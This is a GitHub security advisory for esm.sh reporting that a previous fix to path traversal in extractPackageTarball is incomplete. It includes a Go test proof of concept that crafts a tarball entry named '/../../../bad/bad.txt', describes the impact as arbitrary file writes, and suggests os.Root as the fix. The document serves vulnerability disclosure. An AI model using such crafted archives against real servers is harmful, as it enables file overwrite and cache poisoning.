GHSA-2657-3c98-63jq
esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/esm-dev/esm.sh | >= 0.0.1, <= 136 | no fix listed |
| Go | github.com/esm-dev/esm.sh | < 0.0.0-20260116051925-c62ab83c589e | 0.0.0-20260116051925-c62ab83c589e |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.
### PoC
This test file can demonstrate the basic idea pretty easily:
```go
package server
import (
"archive/tar"
"bytes"
"compress/gzip"
"testing"
)
// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
// Create a temporary directory for testing
installDir := "./testdata/good"
// Create a malicious tarball with path traversal
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)
// Add a normal file
content := []byte("export const foo = 'bar';")
header := &tar.Header{
Name: "package/index.js",
Mode: 0644,
Size: int64(len(content)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(content); err != nil {
t.Fatal(err)
}
// Add a malicious file with path traversal
bad := []byte("bad")
header = &tar.Header{
Name: "/../../../bad/bad.txt",
Mode: 0644,
Size: int64(len(bad)),
Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
t.Fatal(err)
}
if _, err := tw.Write(bad); err != nil {
t.Fatal(err)
}
tw.Close()
gw.Close()
// Call extractPackageTarball with the malicious tarball
if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
t.Errorf("extractPackageTarball returned error: %v", err)
}
}
```
### Impact
It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.
Arbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.
The limiting factors in the default setup that limit escalating this to code execution:
- `extractPackageTarball` has a file-extension check which makes some more "obvious" escalations like overwriting binaries in `/esm/bin` (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.
- Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory.
- The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.
### Fix
Using [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq
- https://nvd.nist.gov/vuln/detail/CVE-2026-23644
- https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16
- https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093
- https://github.com/esm-dev/esm.sh
- https://pkg.go.dev/vuln/GO-2025-4138
- https://pkg.go.dev/vuln/GO-2026-4332